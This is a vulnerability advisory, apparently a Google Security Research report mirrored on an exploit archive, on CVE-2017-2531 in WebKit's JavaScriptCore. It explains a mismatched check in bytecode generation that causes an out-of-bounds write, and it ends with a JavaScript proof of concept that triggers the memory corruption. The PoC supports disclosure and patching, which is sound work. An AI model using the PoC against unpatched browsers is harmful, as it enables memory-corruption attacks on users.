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WebKit JSC emitPutDerivedConstructorToArrowFunctionContextScope Incorrect Check

WebKit JSC emitPutDerivedConstructorToArrowFunctionContextScope Incorrect Check
Posted Jun 1, 2017
Authored by Google Security Research, lokihardt

WebKit JSC suffers from an incorrect check in emitPutDerivedConstructorToArrowFunctionContextScope.

tags | exploit
advisories | CVE-2017-2531
SHA-256 | a896a4670ad6e45a86257f2de8b28d8691ca919a2a4457017498eeb0b85ae85e

WebKit JSC emitPutDerivedConstructorToArrowFunctionContextScope Incorrect Check

Change Mirror Download
 WebKit: JSC: incorrect check in emitPutDerivedConstructorToArrowFunctionContextScope 

CVE-2017-2531


When a super expression is used in an arrow function, the following code, which generates bytecode, is called.

if (needsToUpdateArrowFunctionContext() && !codeBlock->isArrowFunction()) {
bool canReuseLexicalEnvironment = isSimpleParameterList;
initializeArrowFunctionContextScopeIfNeeded(functionSymbolTable, canReuseLexicalEnvironment);
emitPutThisToArrowFunctionContextScope();
emitPutNewTargetToArrowFunctionContextScope();
emitPutDerivedConstructorToArrowFunctionContextScope();
}

Here's |emitPutDerivedConstructorToArrowFunctionContextScope|.

void BytecodeGenerator::emitPutDerivedConstructorToArrowFunctionContextScope()
{
if ((isConstructor() && constructorKind() == ConstructorKind::Extends) || m_codeBlock->isClassContext()) {
if (isSuperUsedInInnerArrowFunction()) {
ASSERT(m_arrowFunctionContextLexicalEnvironmentRegister);

Variable protoScope = variable(propertyNames().builtinNames().derivedConstructorPrivateName());
emitPutToScope(m_arrowFunctionContextLexicalEnvironmentRegister, protoScope, &m_calleeRegister, DoNotThrowIfNotFound, InitializationMode::Initialization);
}
}
}

|emitPutToScope| is directly called without resolving the scope. This means the scope |m_arrowFunctionContextLexicalEnvironmentRegister| must have a place for |derivedConstructorPrivateName|. And that place is secured in the following method.

void BytecodeGenerator::initializeArrowFunctionContextScopeIfNeeded(SymbolTable* functionSymbolTable, bool canReuseLexicalEnvironment)
{
ASSERT(!m_arrowFunctionContextLexicalEnvironmentRegister);

if (canReuseLexicalEnvironment && m_lexicalEnvironmentRegister) {
...
if (isConstructor() && constructorKind() == ConstructorKind::Extends && isSuperUsedInInnerArrowFunction()) {
offset = functionSymbolTable->takeNextScopeOffset(NoLockingNecessary);
functionSymbolTable->set(NoLockingNecessary, propertyNames().builtinNames().derivedConstructorPrivateName().impl(), SymbolTableEntry(VarOffset(offset)));
}
...
}
...
}

But the problem is that the checks in |emitPutDerivedConstructorToArrowFunctionContextScope| and |initializeArrowFunctionContextScopeIfNeeded| are slightly diffrent.

BytecodeGenerator::initializeArrowFunctionContextScopeIfNeeded:
if (isConstructor() && constructorKind() == ConstructorKind::Extends && isSuperUsedInInnerArrowFunction())

BytecodeGenerator::emitPutDerivedConstructorToArrowFunctionContextScope:
if ((isConstructor() && constructorKind() == ConstructorKind::Extends) || m_codeBlock->isClassContext()) {
if (isSuperUsedInInnerArrowFunction()) {

Note: " || m_codeBlock->isClassContext()".

So, in a certain case, it fails to secure the place for |derivedConstructorPrivateName|, but |emitPutToScope| is called, which results in an OOB write.

PoC:
let args = new Array(0x10000);
args.fill();
args = args.map((_, i) => 'a' + i).join(', ');

let gun = eval(`(function () {
class A {

}

class B extends A {
constructor(${args}) {
() => {
${args};
super();
};

class C {
constructor() {
}

trigger() {
(() => {
super.x;
})();
}
}

return new C();
}
}

return new B();
})()`);

for (let i = 0; i < 0x10000; i++)
gun.trigger();


This bug is subject to a 90 day disclosure deadline. After 90 days elapse
or a patch has been made broadly available, the bug report will become
visible to the public.




Found by: lokihardt

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